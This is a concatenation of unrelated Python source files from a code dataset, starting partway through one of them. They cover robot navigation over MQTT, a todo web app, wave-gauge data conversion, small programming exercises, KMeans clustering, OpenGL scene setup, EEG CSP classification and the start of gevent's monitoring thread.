locations with the robot location removed\n # ADD LOGICAL SORTING FUNCTION HERE TO ARRANGE ARUCOS IN ORDER THEY SHOULD BE VISITED\n arucoLocations = P\n del arucoLocations[robot_ind]\n\n return(arucoLocations, output_rvecs, angle, min_distance)\n \ndef BB8_check(target_arucoLocations, target_rvecs, tolerance):\n X, Y, Z, ID, rvecs = vision()\n\n # Ensure all coordinates are +ve\n X = [abs(ele) for ele in X]\n Y = [abs(ele) for ele in Y]\n Z = [abs(ele) for ele in Z]\n\n # Combine X(0), Y(1), Z(2) coordinates and ID(3) into P (point) variables\n P = []\n ID_count = len(ID)\n for i in range(ID_count):\n P.append(\n [ID[i], X[i], Y[i], Z[i]]\n )\n # print(P)\n\n # Find the P value which corresponds to the Robot (ID = 0)\n robot_ind = [i for i, el in enumerate(P) if 0 in el][0]\n robot_loc = P[robot_ind]\n robot_rvec = rvecs[robot_ind][0][:]\n\n distance = []\n # Count the distances between the robot and the target marker\n for i in range(len(target_arucoLocations)):\n # print(P[i][1], P[robot_ind][1])\n distance.append(\n math.sqrt( ((target_arucoLocations[i][1] - robot_loc[1]) **2) + \n ((target_arucoLocations[i][2] - robot_loc[2]) **2) )\n ) #Compute using 2D Pythagoras\n print('Distance i =', distance[i])\n\n\n # Define the acceptable tolerance from the target aruco location (in mm)\n dist_tol = tolerance\n # Logic for calculating either corrected target angle+distance or next target angle+distance\n if distance[0] < dist_tol and len(distance) == 1: # Target reached, final marker\n target_angle = 0\n target_distance = 0\n state = 1\n command = 0\n\n elif distance[0] < dist_tol and len(distance) == 2: # Target reached, move onto next marker\n # Calculate angle to next target aruco\n marker_rvec = target_rvecs[1][0][:] # Define target rvec\n\n # Calculate the relative rotation about the Z axis between the robot ID and nearest ID (beta in notes)\n R_ref_to_cam = cv2.Rodrigues(robot_rvec)[0] #reference to camera\n R_test_to_cam = cv2.Rodrigues(marker_rvec)[0] #test to camera\n R_cam_to_ref = np.transpose(R_ref_to_cam) #inverse of reference to camera\n R_test_to_ref = np.matmul(R_test_to_cam,R_cam_to_ref) #test to reference\n angles_matrix = rotationMatrixToEulerAngles(R_test_to_ref) \n beta = np.degrees(angles_matrix[2])\n beta = 0 - beta\n\n # Calculate the relative angle between the Robot ID axis and the nearest ID location (sigma in notes)\n delta_x = robot_loc[1] - target_arucoLocations[1][1]\n delta_y = target_arucoLocations[1][2] - robot_loc[2]\n if delta_x > 0:\n if delta_y > 0:\n # upper right\n alpha = np.degrees(math.atan( (delta_x) / (delta_y) ))\n else:\n # lower right\n alpha = np.degrees(math.atan( (-1 * delta_y) / (delta_x) )) + 90\n else:\n if delta_y > 0:\n # upper left\n alpha = np.degrees(math.atan( (delta_y) / (-1 * delta_x) )) + 270\n else:\n # lower left\n alpha = np.degrees(math.atan( (-1 * delta_x) / (-1 * delta_y) )) + 180\n # Combine beta and alpha above to calculate the movement direction needed by the robot (sigma in notes)\n target_angle = alpha - beta\n # Convert to counter clockwise motion if faster\n if target_angle > 180:\n target_angle = target_angle - 360\n\n # Output the target distance\n target_distance = distance[1]\n state = 1\n command = 0\n\n elif distance[0] > dist_tol: # Target missed, recalculate angle to current target\n # Calculate angle to current target aruco\n # Calculate angle to next target aruco\n marker_rvec = target_rvecs[0][0][:] # Define target rvec\n\n # Calculate the relative rotation about the Z axis between the robot ID and nearest ID (beta in notes)\n R_ref_to_cam = cv2.Rodrigues(robot_rvec)[0] #reference to camera\n R_test_to_cam = cv2.Rodrigues(marker_rvec)[0] #test to camera\n R_cam_to_ref = np.transpose(R_ref_to_cam) #inverse of reference to camera\n R_test_to_ref = np.matmul(R_test_to_cam,R_cam_to_ref) #test to reference\n angles_matrix = rotationMatrixToEulerAngles(R_test_to_ref) \n beta = np.degrees(angles_matrix[2])\n beta = 0 - beta\n\n # Calculate the relative angle between the Robot ID axis and the nearest ID location (sigma in notes)\n delta_x = robot_loc[1] - target_arucoLocations[1][1]\n delta_y = target_arucoLocations[1][2] - robot_loc[2]\n if delta_x > 0:\n if delta_y > 0:\n # upper right\n alpha = np.degrees(math.atan( (delta_x) / (delta_y) ))\n else:\n # lower right\n alpha = np.degrees(math.atan( (-1 * delta_y) / (delta_x) )) + 90\n else:\n if delta_y > 0:\n # upper left\n alpha = np.degrees(math.atan( (delta_y) / (-1 * delta_x) )) + 270\n else:\n # lower left\n alpha = np.degrees(math.atan( (-1 * delta_x) / (-1 * delta_y) )) + 180\n # Combine beta and alpha above to calculate the movement direction needed by the robot (sigma in notes)\n target_angle = alpha - beta\n # Convert to counter clockwise motion if faster\n if target_angle > 180:\n target_angle = target_angle - 360\n\n # Output the target distance\n target_distance = distance[0]\n state = 0\n command = 1\n\n\n return(state, target_angle, target_distance, command)\n\n\n# Connect to MQTT Server\n\n# After we connect we subsribe to one (or more) topics in this case the topic number 1\ndef on_connect(client,userdata,flags,rc):\n print (\"Connected with result code \"+str(rc))\n client.subscribe(MainTopic+\"4\")\n client.subscribe(MainTopic+\"5\")\n \n\n# The callback for when a PUBLISH message is received from the server. I.e. when a new value for the topic we subscribed to above updates\ndef on_message(client, userdata, msg):\n global Check\n global InPosition\n global TargetAngle\n global TargetDistance\n global CommandCount_A\n global CommandCount_D\n global Command\n \n print(str(time.time())+\" In topic: \"+msg.topic+\" the value was \"+ str(int(msg.payload.rstrip(b'\\x00'))))\n\n \n data = int(msg.payload.rstrip(b'\\x00'))\n\n if msg.topic == \"BOBAmosFET/4\":\n \n AngleReached = data\n \n if AngleReached == CommandCount_A + 1:\n \n Command = 2 #Satellite Function output\n print(\"Command value change to \"+str(Command))\n\n CommandCount_A = CommandCount_A + 1 # Set to next command index\n print(\"CommandCount_A: \"+str(CommandCount_A))\n\n elif msg.topic == \"BOBAmosFET/5\":\n \n DistanceReached = data\n \n if DistanceReached == CommandCount_D + 1:\n\n Check = 1 \n print(\"Check value change to \"+str(Check))\n\n InPosition, TargetAngle, TargetDistance, Command = BB8_check(target_arucoLocations, target_rvecs, tolerance)\n #print('InPosition, TargetAngle and TargetDistance =', InPosition, TargetAngle, TargetDistance)\n\n \n print(\"InPosition value change to \"+str(InPosition))\n #TargetAngle = 0 #Satellite Function output\n print(\"TargetAngle value change to \"+str(TargetAngle))\n #TargetDistance = 0 #Satellite Function output\n print(\"TargetDistance value change to \"+str(TargetDistance))\n #Command = 3 #Satellite Function output\n print(\"Command value change to \"+str(Command))\n\n CommandCount_D= CommandCount_D + 1 # Set to next command index\n print(\"CommandCount_D: \"+str(CommandCount_D))\n #else:\n #pass \n\n# Create the mqtt client object\nclient = mqtt.Client() \n# Assign the function for the connection event\nclient.on_connect = on_connect\n# Assign the function for the new message event\nclient.on_message = on_message\n\n# Set the username and password\nclient.username_pw_set(\"student\",password=\"smartPass\")\n\n# Connect to the server using a specific port with a timeout delay (in seconds)\nclient.connect(\"ec2-3-10-235-26.eu-west-2.compute.amazonaws.com\",31415,60)\n\n# Create your main topic string. Everything else should be fields with values 1-8\nMainTopic = \"BOBAmosFET/\"\n\n# Start the client\nclient.loop_start() \n\n################################ START ################################\n\n############################# INITIAL MODE ##############################\n\n### Send Command to Mill.Falcon ###\n\n# Generate random number between 0 and 10\nshipHeight = random.randint(0, 10)\n#print(\"Random integer from 0 to 10\")\n#print(\"Random integer: \", shipHeight)\n\n\n# Publish the value (integer) as a string. All messages are strings\nclient.publish(MainTopic+\"8\",str(shipHeight))\n# Plot in the terminal what we just did\nprint(\"%s %d\" % (MainTopic+\"8\", shipHeight))\n\n\n### Initial Scan ### \n\n#TargetAngle = 45\n#TargetDistance = 100 \narucoLocations, arucoRvecs, TargetAngle, TargetDistance = initialScan()\n#arucoRvecs = [[[-2.65077743, 0.01517437, 0.0167672 ]],[[ 3.45453988, -0.04192978, 0.42548113]]]\n#arucoLocations = [[11, 27.951521361774212, 88.53147453041412, 682.1787133172342], [13, 107.79970108395187, 105.40086628164487, 742.4444729628245]]\n\nfor i,_ in enumerate(arucoLocations):\n\n if i < len(arucoLocations)-1:\n\n target_arucoLocations = [[]]\n target_arucoLocations[i][:] = arucoLocations[i][:]\n target_arucoLocations.append(arucoLocations[i+1][:])\n print('target_arucoLocations =', target_arucoLocations)\n\n target_rvecs = np.array([[arucoRvecs[i][0][:]],[arucoRvecs[i+1][0][:]] ])\n # print('target_rvecs =', target_rvecs)\n tolerance = 50 # Distance tolerance to target aruco (in mm)\n\n else:\n target_arucoLocations = [[]]\n target_arucoLocations[i][:] = arucoLocations[i][:]\n print('target_arucoLocations =', target_arucoLocations)\n\n target_rvecs = np.array([[arucoRvecs[i][0][:]] ])\n # print('target_rvecs =', target_rvecs)\n tolerance = 50 # Distance tolerance to target aruco (in mm)\n\n InPosition = 0\n Check = 1\n Command = 1\n\n\n while InPosition < 1:\n\n ############################# TURNING MODE ##############################\n if Check == 1:\n\n print(\"Entered TURNING MODE\")\n ### Send Command to BB8\n\n Angle = TargetAngle\n Distance = 0\n\n # Publish the value (integer) as a string. All messages are strings\n client.publish(MainTopic+\"1\",str(Angle))\n client.publish(MainTopic+\"2\",str(Distance))\n client.publish(MainTopic+\"3\",str(Command))\n\n # Plot in the terminal what we just did\n print(\"%s %d\" % (MainTopic+\"1\", Angle))\n print(\"%s %d\" % (MainTopic+\"2\", Distance))\n print(\"%s %d\" % (MainTopic+\"3\", Command))\n\n Command = 0\n Check = 0\n \n \n ### 3. Wait for a signal from BB8. Once signal received, go to MOVING MODEs\n while Command == 0:\n print(\"waiting for a signal from BB8\")\n pass\n\n ############################# MOVING MODE ##############################\n print(\"Entered MOVING MODE\")\n if Command == 2:\n ### Send Command to BB8\n \n Angle = 0\n Distance = TargetDistance\n\n # Publish the value (integer) as a string. All messages are strings\n client.publish(MainTopic+\"1\",str(Angle))\n client.publish(MainTopic+\"2\",str(Distance))\n client.publish(MainTopic+\"3\",str(Command))\n\n # Plot in the terminal what we just did\n print(\"%s %d\" % (MainTopic+\"1\", Angle))\n print(\"%s %d\" % (MainTopic+\"2\", Distance))\n print(\"%s %d\" % (MainTopic+\"3\", Command))\n\n Command = 0\n ### 3. Once signal from BB8, position-check function will be triggered within on_message\n \n while Command == 0:\n print(\"waiting for a signal from BB8\")\n pass\n \n\n ############################# DETECTING MODE ##############################\n print(\"Entered DETECTING MODE\")\n\n\n\n\n\nclient.loop_stop()\n# Disconnect\nclient.disconnect()\n","sub_path":"MissionControl/Mechatronic-Project-Satellite/MissionControlTest2_SAT.py","file_name":"MissionControlTest2_SAT.py","file_ext":"py","file_size_in_byte":20670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"521220773","text":"# -*- coding: utf-8 -*-\nimport web\nfrom .models.todos import Todo, TodoTag\ndb = web.extensions.db\n\napp_jslink = ''\napp_desc = '待办列表'\n\ndb.create_all()\n\nurls = [\n \"/todos\", Todo,\n \"/todos/([^/]+)\", Todo,\n \"/tags\", TodoTag,\n \"/tags/([^/]+)\", TodoTag,\n ]\n","sub_path":"todo/appmain.py","file_name":"appmain.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"77564602","text":"import csv\nfrom numpy.linalg import norm\nfrom scipy import *\nfrom pylab import plot, show, legend,xlim,ylim,savefig,title,xlabel,ylabel,clf, loglog\nimport os\n\nwdatadir = \"../../../../../data/raw/P1P2P3/Beji/\"\nsdatadir = \"../../../../../data/postprocessing/Beji94FEM/o2/\"\nexp = \"sl\"\nwdir = wdatadir + exp+ \"/\"\nsexpdir = sdatadir + exp + \"/\"\n\nendt = 60\nbegt = 40 \nnts = []\nnwg1s = []\nnwg2s = []\nnwg3s = []\nnwg4s = []\nnwg5s = []\nnwg6s = []\nnwg7s = []\n\ns = wdir + \"NumWaveGauge.txt\"\nwith open(s,'r') as file1:\n readfile = csv.reader(file1, delimiter = ',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n j = -1\n for row in readfile: \n if (j >= 0):\n nts.append(float(row[0]))\n nwg1s.append(float(row[1]))\n nwg2s.append(float(row[2]))\n nwg3s.append(float(row[3]))\n nwg4s.append(float(row[4]))\n nwg5s.append(float(row[5]))\n nwg6s.append(float(row[6]))\n nwg7s.append(float(row[7]))\n \n \n j = j + 1\n \n\nets = []\newg1s = []\newg2s = []\newg3s = []\newg4s = []\newg5s = []\newg6s = []\newg7s = [] \ns = wdir + \"WaveGauge.txt\"\nwith open(s,'r') as file1:\n readfile = csv.reader(file1, delimiter = ',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n j = -1\n for row in readfile: \n if (j >= 0):\n ets.append(float(row[0]))\n ewg1s.append(float(row[1]))\n ewg2s.append(float(row[2]))\n ewg3s.append(float(row[3]))\n ewg4s.append(float(row[4]))\n ewg5s.append(float(row[5]))\n ewg6s.append(float(row[6]))\n ewg7s.append(float(row[7]))\n \n \n j = j + 1\n\nets0 = ets[1]\n\nendtei = int(endt/ets[1]) + 1 \nbegtei = int(begt/ets[1]) - 1\nets = array(ets[begtei:endtei])\newg1s = array(ewg1s[begtei:endtei])*100\newg2s = array(ewg2s[begtei:endtei])*100\newg3s = array(ewg3s[begtei:endtei])*100\newg4s = array(ewg4s[begtei:endtei])*100\newg5s = array(ewg5s[begtei:endtei])*100\newg6s = array(ewg6s[begtei:endtei])*100\newg7s = array(ewg7s[begtei:endtei])*100\n\n \nExpCom = []\nExpCom.append(ets)\nExpCom.append(ewg1s)\nExpCom.append(ewg2s)\nExpCom.append(ewg3s)\nExpCom.append(ewg4s)\nExpCom.append(ewg5s)\nExpCom.append(ewg6s)\nExpCom.append(ewg7s)\n\n\nmult = int(ets0/nts[1])\nendtni = int(endt/nts[1]) + 1\nbegtni = int(begt/nts[1]) - 1 \n\nnts = array(nts[begtni:endtni:mult])\nnwg1s = (array(nwg1s[begtni:endtni:mult])-0.4)*100\nnwg2s = array(nwg2s[begtni:endtni:mult])*100\nnwg3s = array(nwg3s[begtni:endtni:mult])*100\nnwg4s = array(nwg4s[begtni:endtni:mult])*100\nnwg5s = array(nwg5s[begtni:endtni:mult])*100\nnwg6s = array(nwg6s[begtni:endtni:mult])*100\nnwg7s = array(nwg7s[begtni:endtni:mult])*100\n \n \nNumCom = []\nNumCom.append(nts)\nNumCom.append(nwg1s)\nNumCom.append(nwg2s)\nNumCom.append(nwg3s)\nNumCom.append(nwg4s)\nNumCom.append(nwg5s)\nNumCom.append(nwg6s)\nNumCom.append(nwg7s)\n\n\nnc = len(NumCom)\n\nfor j in range(1,nc):\n sdir = sexpdir +\"WaveGauge\" + str(j) + \"/\"\n if not os.path.exists(sdir):\n os.makedirs(sdir)\n nn = len(nts) \n s = sdir + \"Numerical.dat\"\n with open(s,'w') as file1:\n for i in range(nn):\n s =\"%3.8f%5s%1.15f\\n\" %(NumCom[0][i],\" \",NumCom[j][i])\n file1.write(s)\n ne = len(ets) \n s = sdir + \"Experimental.dat\"\n with open(s,'w') as file1:\n for i in range(ne):\n s =\"%3.8f%5s%1.15f\\n\" %(ExpCom[0][i],\" \",ExpCom[j][i])\n file1.write(s)\n ","sub_path":"CODE/postprocessing/readplot/Beji/94CSV2DAT.py","file_name":"94CSV2DAT.py","file_ext":"py","file_size_in_byte":3485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"622332001","text":"def swap_case(s):\n a = []\n for i in list(s):\n j = ''\n if i.isupper():\n j = i.lower()\n elif i.islower():\n j = i.upper()\n else:\n a.append(i)\n a.append(j)\n\n\n return ''.join(a)\n\nif __name__ == '__main__':\n s = input()\n result = swap_case(s)\n print(result)","sub_path":"swap_case.py","file_name":"swap_case.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"158421189","text":"from __future__ import unicode_literals\nfrom django.conf.urls import url\nfrom apps.pages import views\n\n\nurlpatterns = [\n url(r'^/?$', views.pages, name='dashboard_pages'),\n url(r'^/add_page/?$', views.add_page, name='dashboard_add_page'),\n url(r'^/edit_page_(?P[0-9]+)/?$', views.edit_page, name='dashboard_edit_page'),\n url(r'^/delete_page_(?P[0-9]+)/?$', views.delete_page, name='dashboard_delete_page'),\n url(r'^/menus/?$', views.menus, name='dashboard_menus'),\n url(r'^/menus/add_menu/?$', views.add_menu, name='dashboard_add_menu'),\n url(r'^/menus/edit_menu_(?P[0-9]+)/?$', views.edit_menu, name='dashboard_edit_menu'),\n url(r'^/menus/delete_menu_(?P[0-9]+)/?$', views.delete_menu, name='dashboard_delete_menu'),\n]\n","sub_path":"apps/pages/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"395929481","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom collections import Counter\n\n\n# In[11]:\n\n\namsterdam = pd.read_csv('datasets/amsterdam-attraction.csv')\n\namsterdam = amsterdam.dropna()\namsterdam.head()\nX=amsterdam.loc[:,['lat','lng']]\nX = X.dropna()\nX\n\n\n# In[27]:\n\n\n#run KMeans\nid_n=8\nkmeans = KMeans(n_clusters=id_n, random_state=0).fit(X)\ncluster = pd.DataFrame()\nid_label=kmeans.labels_\n\n\n# In[28]:\n\n\n#plot result\nptsymb = np.array(['b.','r.','m.','g.','c.','k.','b*','r*','m*','r^']);\nplt.figure(figsize=(12,12))\nplt.ylabel('Longitude', fontsize=12)\nplt.xlabel('Latitude', fontsize=12)\nfor i in range(id_n):\n cluster=np.where(id_label==i)[0]\n plt.plot(X.lat[cluster].values,X.lng[cluster].values,ptsymb[i])\nplt.show()\n\n\n# In[29]:\n\n\nimport math\n\ndef distance(origin, destination):\n lat1, lon1 = origin\n lat2, lon2 = destination\n radius = 6371 # km\n\n dlat = math.radians(lat2-lat1)\n dlon = math.radians(lon2-lon1)\n a = math.sin(dlat/2) * math.sin(dlat/2) + math.cos(math.radians(lat1)) * math.cos(math.radians(lat2)) * math.sin(dlon/2) * math.sin(dlon/2)\n c = 2 * math.atan2(math.sqrt(a), math.sqrt(1-a))\n d = radius * c\n\n return d\n\n","sub_path":"vagary/recommend_attractions.py","file_name":"recommend_attractions.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"346687037","text":"# 별찍는 함수 만들기\ndef square(number):\n\n # 주어지는 number가 3일 때가 가장 기본 형태 \n if number == 3:\n star = ['***','* *','***']\n return star\n\n # number가 3이 아닌 3의 거듭제곱일 때 재귀함수 이용\n else:\n # 리스트 star의 길이는 number\n star = [''] * number\n \n # square(number//3)의 리스트로부터 number에 대한 star을 만들어줌\n for i, s in enumerate(square(number//3)):\n\n # 새로운 star는 square(number//3)의 3배 길이이므로 i, i+(number//3), i+(number//3)*2마다 규칙성 생김\n # star[i]와 star[i+(number//3)*2]는 s의 3배를 해준 값\n # star[i+(number//3)]은 s + (number//3)만큼의 공백 + s 의 값\n star[i] = s*3\n star[i+(number//3)] = s + ' ' * (number//3) + s\n star[i+(number//3)*2] = s*3\n\n return star\n\n\nnumber = int(input())\n\n# square(number)는 number길이 만큼의 리스트 형태이므로 요소별로 출력\nfor s in square(number):\n print(s)\n","sub_path":"code/jina/재귀/별찍기-10.py","file_name":"별찍기-10.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"425212710","text":"#!/usr/bin/env python\nimport sys, OpenGL, PySide.QtOpenGL\nsys.path += ['.']\nfrom PySide.QtCore import *\nfrom PySide.QtGui import *\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nfrom SceneManager import SceneManager\nfrom MainWindow import MainWindow\nfrom Entities import *\nfrom Loader import Load\nfrom Utils import *\n\n\nSM = SceneManager()\nsphere = Entity()\nsphere.m_mesh = Load('model.ply')\nsphere.m_name = 'sphere1'\nsphere.m_position = vector3(0,-1,-3.8)\n\n\ncube = Entity()\ncube.m_mesh = Load('cube.ply')\ncube.m_name = 'cube1'\ncube.m_position = vector3(0.3,3,-3.6)\ncube.m_rotate = vector4(0.4,0,1,-10)\n\n\nSM.AddEntity('sphere1', sphere)\nSM.AddEntity('cube1', cube)\n\n\n\napp = QApplication(sys.argv)\nw = MainWindow(60, SM)\n\n\n\nw.mainWindow.show()\n\n\nglMatrixMode(GL_MODELVIEW)\nglLoadIdentity()\nglTranslate(sphere.m_position.x, sphere.m_position.y, sphere.m_position.z)\ntemp = glGetDoublev(GL_MODELVIEW_MATRIX)\nsphere.m_matrix1 = transPoint(sphere.m_mesh.m_vertices, temp)\nsphere.m_matrix2 = transVector(sphere.m_mesh.m_normals, temp)\n\nglLoadIdentity()\nglTranslate(cube.m_position.x, cube.m_position.y, cube.m_position.z)\nglRotate(cube.m_rotate.t, cube.m_rotate.x, cube.m_rotate.y, cube.m_rotate.z)\ntemp = glGetDoublev(GL_MODELVIEW_MATRIX)\ncube.m_matrix1 = transPoint(cube.m_mesh.m_vertices, temp)\ncube.m_matrix2 = transVector(cube.m_mesh.m_normals, temp)\n\napp.exec_()\nsys.exit()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"123272308","text":"from struct_methods import *\nimport io\nimport numpy\nfrom scipy.signal import butter, lfilter\nimport math\nimport pickle\nimport random\n\n\nclass offlineParamOpt(object):\n def __init__(self, channel, num, groups, N=3):\n self.Fs = 1000\n self.filt_n = 4\n self.N = N \n self.channelRaw = channel\n self.channels = [i-1 for i in self.channelRaw]\n self.DataLength = len(self.channels)\n self.num = num\n self.samples_per_packet = 43\n self.allChannels = 16\n self.groups = groups\n self.NtoLastN = [i for i in range(N)]\n self.NtoLastN.extend([i for i in range(self.DataLength-N, self.DataLength)])\n self.classOne = numpy.zeros(shape=(16, 43*self.num, self.groups))\n self.classTwo = numpy.zeros(shape=(16, 43*self.num, self.groups))\n self.frequency = [[8,30], [8,13], [13,20], [20,30]]\n self.timepoint = [1000, 4000]\n\n def readOffData(self, path):\n self.fid = open(path, \"rb\")\n # self.fid.seek(0)\n currentGroupOne = 0\n currentGroupTwo = 0\n packets = 0\n while currentGroupOne != self.groups or currentGroupTwo != self.groups:\n trigger = read_uint16le(self.fid)\n packets += 1\n if trigger == 1:\n currentGroupOne += 1\n self.fid.seek(12, 1)\n all_samples = []\n for i in range(self.samples_per_packet): \n samples = []\n for j in range(self.allChannels):\n sample = read_uint16le(self.fid)\n samples.append(sample) \n all_samples.append(samples) \n first_Packet = numpy.array(all_samples)\n firstPacketMatrics = first_Packet.reshape((self.samples_per_packet, self.allChannels))\n self.classOne[:, 0:43, currentGroupOne-1] = firstPacketMatrics.T\n for p in range(self.num-1): \n self.fid.seek(14, 1)\n all_samples = []\n for i in range(self.samples_per_packet): \n samples = []\n for j in range(self.allChannels):\n sample = read_uint16le(self.fid)\n samples.append(sample) \n all_samples.append(samples)\n next_Packet = numpy.array(all_samples)\n nextPacketMatrics = next_Packet.reshape((self.samples_per_packet, self.allChannels))\n self.classOne[:, 43*p+43:43*p+86, currentGroupOne-1] = nextPacketMatrics.T\n elif trigger == 2:\n currentGroupTwo += 1\n self.fid.seek(12, 1)\n all_samples = []\n for i in range(self.samples_per_packet): \n samples = []\n for j in range(self.allChannels):\n sample = read_uint16le(self.fid)\n samples.append(sample) \n all_samples.append(samples) \n first_Packet = numpy.array(all_samples)\n firstPacketMatrics = first_Packet.reshape((self.samples_per_packet, self.allChannels))\n self.classTwo[:, 0:43, currentGroupTwo-1] = firstPacketMatrics.T\n for p in range(self.num-1): \n self.fid.seek(14, 1)\n all_samples = []\n for i in range(self.samples_per_packet): \n samples = []\n for j in range(self.allChannels):\n sample = read_uint16le(self.fid)\n samples.append(sample) \n all_samples.append(samples)\n next_Packet = numpy.array(all_samples)\n nextPacketMatrics = next_Packet.reshape((self.samples_per_packet, self.allChannels))\n self.classTwo[:, 43*p+43:43*p+86, currentGroupTwo-1] = nextPacketMatrics.T\n else:\n self.fid.seek(1388, 1)\n self.fid.close()\n\n def offlineClass(self, path):\n self.readOffData(path)\n trainGroups = int(0.8*self.groups)\n testGroups = self.groups - trainGroups\n acc = numpy.zeros((4,100)) # need to change\n for fre in range(4):\n Wn = [self.frequency[fre][0]/(self.Fs/2), self.frequency[fre][1]/(self.Fs/2)]\n filter_b, filter_a = butter(self.filt_n, Wn, btype='band')\n Cov1 = numpy.zeros(shape=(self.DataLength, self.DataLength, self.groups)) \n Cov2 = numpy.zeros(shape=(self.DataLength, self.DataLength, self.groups))\n for i in range(self.groups):\n dataTofilter = self.classOne[self.channels, :, i]\n dataFiltered = lfilter(filter_b, filter_a, dataTofilter, axis=1)\n Dr = dataFiltered[:, self.timepoint[0]:self.timepoint[1]]\n Cov1[:, :, i] = numpy.dot(Dr, Dr.T)\n dataTofilter = self.classTwo[self.channels, :, i]\n dataFiltered = lfilter(filter_b, filter_a, dataTofilter, axis=1)\n Dr = dataFiltered[:, self.timepoint[0]:self.timepoint[1]]\n Cov2[:, :, i] = numpy.dot(Dr, Dr.T)\n for cross in range(100):\n randGroup =[i for i in range(self.groups)]\n random.shuffle(randGroup)\n R1 = numpy.zeros(shape=(self.DataLength, self.DataLength))\n R2 = numpy.zeros(shape=(self.DataLength, self.DataLength))\n for t in range(trainGroups):\n R1 += Cov1[:, :, randGroup[t]]\n R2 += Cov2[:, :, randGroup[t]]\n R1 = R1/numpy.trace(R1)\n R2 = R2/numpy.trace(R2)\n R3 = R1 + R2\n sigma, U0 = numpy.linalg.eig(R3)\n P = numpy.dot(numpy.diag(sigma**(-0.5)), U0.T)\n YL = numpy.dot(numpy.dot(P,R1),P.T)\n sigmaL, UL = numpy.linalg.eig(YL)\n Isorted = numpy.argsort(-sigmaL)\n F = numpy.dot(P.T, UL[:, Isorted[self.NtoLastN]])\n f = numpy.zeros(shape=(2*self.N, 1))\n f1 = numpy.zeros(shape=(2*self.N, self.groups))\n f2 = numpy.zeros(shape=(2*self.N, self.groups))\n for i in range(trainGroups):\n for j in range(2*self.N):\n f[j, 0] = numpy.log(numpy.dot(numpy.dot(F[:,j].reshape(1, self.DataLength),Cov1[:,:,randGroup[i]]),F[:,j]))\n f1[:, i] = f[:, 0]\n for j in range(2*self.N):\n f[j, 0] = numpy.log(numpy.dot(numpy.dot(F[:,j].reshape(1, self.DataLength),Cov2[:,:,randGroup[i]]),F[:,j]))\n f2[:, i] = f[:, 0]\n F1 = f1.T\n F2 = f2.T\n M1 = numpy.mean(F1, 0)\n M1.shape = (2*self.N, 1)\n M2 = numpy.mean(F2, 0)\n M2.shape = (2*self.N, 1)\n count1 = numpy.size(f1, 1)-1\n count2 = numpy.size(f2, 1)-1 \n w = numpy.dot(numpy.linalg.inv((count1*numpy.cov(F1.T)+count2*numpy.cov(F2.T))/(count1+count2)),(M2-M1)).reshape(1,2*self.N)\n b = -numpy.dot(w,M1+M2)/2\n TypeOneSign = numpy.dot(w, M1)+b\n right = 0\n for i in range(trainGroups, self.groups):\n for j in range(2*self.N): \n f[j, 0] = numpy.log(numpy.dot(numpy.dot(F[:,j].reshape(1, self.DataLength),Cov1[:,:,randGroup[i]]),F[:,j]))\n y = numpy.dot(w, f)+b\n if y*TypeOneSign >= 0:\n right +=1 \n for j in range(2*self.N): \n f[j, 0] = numpy.log(numpy.dot(numpy.dot(F[:,j].reshape(1, self.DataLength),Cov2[:,:,randGroup[i]]),F[:,j]))\n y = numpy.dot(w, f)+b\n if y*TypeOneSign <= 0:\n right +=1\n acc[fre, cross] = right/(2*testGroups)\n meanAcc = numpy.mean(acc, axis=1)\n meanaccList = meanAcc.tolist()\n frequencyIndex = meanaccList.index(max(meanaccList))\n return meanaccList, frequencyIndex","sub_path":"offlineParamOptimization.py","file_name":"offlineParamOptimization.py","file_ext":"py","file_size_in_byte":8442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"222305836","text":"def main():\n N = int(input('Digite um número inteiro: '))\n limite_inferior = int(input('Informe um valor para o limite inferior: '))\n limite_superior = int(input('Informe um valor para o limite superior: '))\n\n multiplo(N, limite_inferior, limite_superior)\n\ndef multiplo(numero, inferior, supeior):\n print(f'Os números no intervalo de {inferior} a {supeior} que são múltiplos de {numero} são: ',end=' ')\n while inferior <= supeior:\n if inferior % numero == 0:\n print(inferior, end=' ')\n inferior += 1\nmain()","sub_path":"Lista_Prof_Fabio/Algoritmos_Exercicio-03-REPETICAO-WHILE/fb_ex3_q8-while.py","file_name":"fb_ex3_q8-while.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"484203743","text":"# Copyright (c) 2018 gevent. See LICENSE for details.\nfrom __future__ import print_function, absolute_import, division\n\nimport os\nimport sys\nimport traceback\n\nfrom weakref import ref as wref\n\nfrom greenlet import settrace\nfrom greenlet import getcurrent\n\nfrom gevent import config as GEVENT_CONFIG\nfrom gevent.monkey import get_original\nfrom gevent.util import format_run_info\nfrom gevent.events import notify\nfrom gevent.events import EventLoopBlocked\nfrom gevent.events import MemoryUsageThresholdExceeded\nfrom gevent.events import MemoryUsageUnderThreshold\nfrom gevent.events import IPeriodicMonitorThread\nfrom gevent.events import implementer\n\nfrom gevent._compat import thread_mod_name\nfrom gevent._compat import perf_counter\nfrom gevent._util import gmctime\n\n\n__all__ = [\n 'PeriodicMonitoringThread',\n]\n\nget_thread_ident = get_original(thread_mod_name, 